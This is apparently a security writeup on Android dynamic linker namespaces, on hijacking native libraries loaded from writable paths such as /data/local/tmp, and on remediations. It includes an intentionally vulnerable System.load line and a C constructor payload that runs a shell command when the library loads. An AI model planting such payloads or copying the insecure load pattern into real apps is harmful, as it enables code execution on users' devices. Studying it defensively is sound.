Android Dynamic Linker Hijacking: Bypassing Namespace Isolation

Modern mobile operating systems utilize strict namespace isolation models inside dynamic linking loaders to prevent application processes from loading unauthorized system binaries or sibling libraries.

In Android, the dynamic linker (linker / linker64) enforces library namespace boundaries. This writeup details the architecture of linker isolation and examines methodologies to bypass search path validations to perform arbitrary library hijacking.


1. Understanding Linker Namespaces

Introduced in Android 7.0 (Nougat), linker namespaces prevent apps from using private platform-shared libraries (such as libart.so or libnetd_client.so). An application is restricted to loading libraries defined in its designated namespace, usually matching the public Android library definitions (public.libraries.txt).

Each namespace has:

  • Search Paths: Directories containing allowed library binaries.
  • Permitted Paths: Paths from which libraries can be loaded.
  • Links: Configured linking pathways to sibling namespaces to import dependencies.

2. Hijacking Search Paths

Under typical Linux environments, library hijacking is trivial using the LD_LIBRARY_PATH environment variable. On Android, the zygote-spawned application namespaces sanitize environment variables, ignoring standard overrides.

However, if an application bundles third-party native libraries (.so files) with weak permissions, or includes custom shared libraries loaded using absolute paths, path hijacking is possible.

Attack Vector: Insecure Search Paths in Custom Loaders

If an application invokes custom loading logic, or uses a runtime engine loading dependencies from public directories (like /sdcard/ or /data/local/tmp/), we can swap the library under execution:

// Vulnerable Library Load: Checking secondary storage
System.load("/data/local/tmp/libhelper.so");

3. Exploit Flow

  1. Namespace Extraction: Determine what namespaces are active for the target app context.
  2. Library Replacement: Inject our payload compiler output (libhelper.so) containing a standard constructor attribute function.
  3. Trigger Execution: Force the host process to load the hijacked library:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
// Constructor attribute forces execution immediately upon library loading (dlopen)
__attribute__((constructor))
void init_payload() {
    // Escaping sandbox or executing payload code
    system("id > /data/local/tmp/hacked.txt");
}

4. Remediation

  • Use System.loadLibrary(): Always load libraries by package name rather than arbitrary paths.
  • Enforce Read-Only Locations: Do not load native libraries from writable storage partitions.
  • Enable Linker Namespace Rules: Maintain namespace rules in config targets.